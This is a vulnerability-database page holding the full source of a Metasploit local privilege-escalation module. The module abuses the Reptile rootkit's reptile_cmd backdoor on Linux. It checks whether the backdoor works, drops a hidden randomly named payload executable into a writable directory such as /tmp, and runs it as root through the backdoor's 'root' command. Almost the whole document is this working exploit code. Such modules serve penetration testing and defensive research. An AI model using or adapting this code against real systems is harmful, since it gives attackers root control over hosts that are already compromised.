Search...

Reptile Rootkit reptile_cmd Privilege Escalation

2019-12-11T06:48:51
ID MSF:EXPLOIT/LINUX/LOCAL/REPTILE_ROOTKIT_REPTILE_CMD_PRIV_ESC
Type metasploit
Reporter Rapid7
Modified 2019-12-11T06:48:51

Description

This module uses Reptile rootkit's reptile_cmd backdoor executable to gain root privileges using the root command. This module has been tested successfully with Reptile from master branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Reptile Rootkit reptile_cmd Privilege Escalation',
      'Description'    => %q{
        This module uses Reptile rootkit's `reptile_cmd` backdoor executable
        to gain root privileges using the `root` command.

        This module has been tested successfully with Reptile from `master`
        branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'f0rb1dd3n', # Reptile
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => '2018-10-29', # Reptile first stable release
      'References'     =>
        [
          ['URL', 'https://github.com/f0rb1dd3n/Reptile'],
          ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']
        ],
      'Platform'       => ['linux'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def reptile_cmd_path
    datastore['REPTILE_CMD_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    unless executable? reptile_cmd_path
      vprint_error "#{reptile_cmd_path} is not executable"
      return CheckCode::Safe
    end
    vprint_good "#{reptile_cmd_path} is executable"

    res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip
    vprint_status "Output: #{res}"

    if res.include?('You have no power here!')
      vprint_error 'Reptile kernel module is not loaded'
      return CheckCode::Safe
    end

    unless res.include?('root')
      vprint_error 'Reptile is not installed'
      return CheckCode::Safe
    end
    vprint_good 'Reptile is installed and loaded'

    CheckCode::Vulnerable
  end

  def exploit
    unless check == CheckCode::Vulnerable
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_name = ".#{rand_text_alphanumeric 8..12}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    print_status 'Executing payload...'
    res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "
    vprint_line res
  end
end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by